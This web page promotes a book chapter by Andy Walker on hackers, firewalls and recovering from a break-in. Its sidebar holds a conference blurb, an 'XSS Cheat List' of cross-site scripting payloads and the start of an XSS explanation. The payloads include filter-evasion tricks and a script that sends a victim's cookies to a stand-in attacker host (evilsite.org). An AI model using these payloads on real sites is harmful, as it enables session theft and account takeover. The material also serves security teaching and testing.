If your computer is a fortress, hackers are the interlopers with pointy metal hats who charge the gate, scale the walls, or use stolen keys to get inside. Their mission? To steal your crown jewels or carve graffiti on the walls, such as “The king is a weenie.” In this sample chapter Andy Walker tells you why they want access to your computer, how they try to gain access to it, and what you stand to lose if they do. There’s also a really exciting section on how to stop them and what to do if one of them succeeds. It’s like a medieval video game, but scarily, it’s real.

In this chapter

* What Is a Hacker?
* When Is a Hacker a Cracker?
* How Do Hackers Sneak into Your Computer?
* What Damage Can Hackers Do?
* What Is a Software Firewall?
* Is the Windows Firewall Any Good?
* Is a Hardware Firewall Better?
* I’m Under Attack! What to Do If You’ve Been Hacked and Cracked
* Batten down the Hatches—10-Minute Anti-Hacker Tactics
* Wall off the World—Blockade Your Computer in an Afternoon

Explore More

Hacker Halted Asia Pacific 2010

2010. Entering the new decade, have we done enough to secure our information? Or will we be found wanting by the end of this decade? History is a great teacher,

XSS Cheat List

<script>alert(1);</script> <script>alert('XSS');</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script> <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script> <scr<script>ipt>alert('XSS');</scr</script>ipt> <script>alert(String.fromCharCode(88,83,83))</script> <img src=foo.png onerror=alert(/xssed/) /> <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?> <marquee><script>alert('XSS')</script></marquee> <IMG SRC=\"jav&#x09;ascript:alert('XSS');\"> <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\"> <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> "><script>alert(0)</script> <script src=http://yoursite.com/your_files.js></script> </title><script>alert(/xss/)</script> </textarea><script>alert(/xss/)</script>

How does a cross site scripting (XSS) attack work?

A cross site scripting attack works in the following manner: * The attacker identifies a web site that has one or more XSS bugs for example, a web site that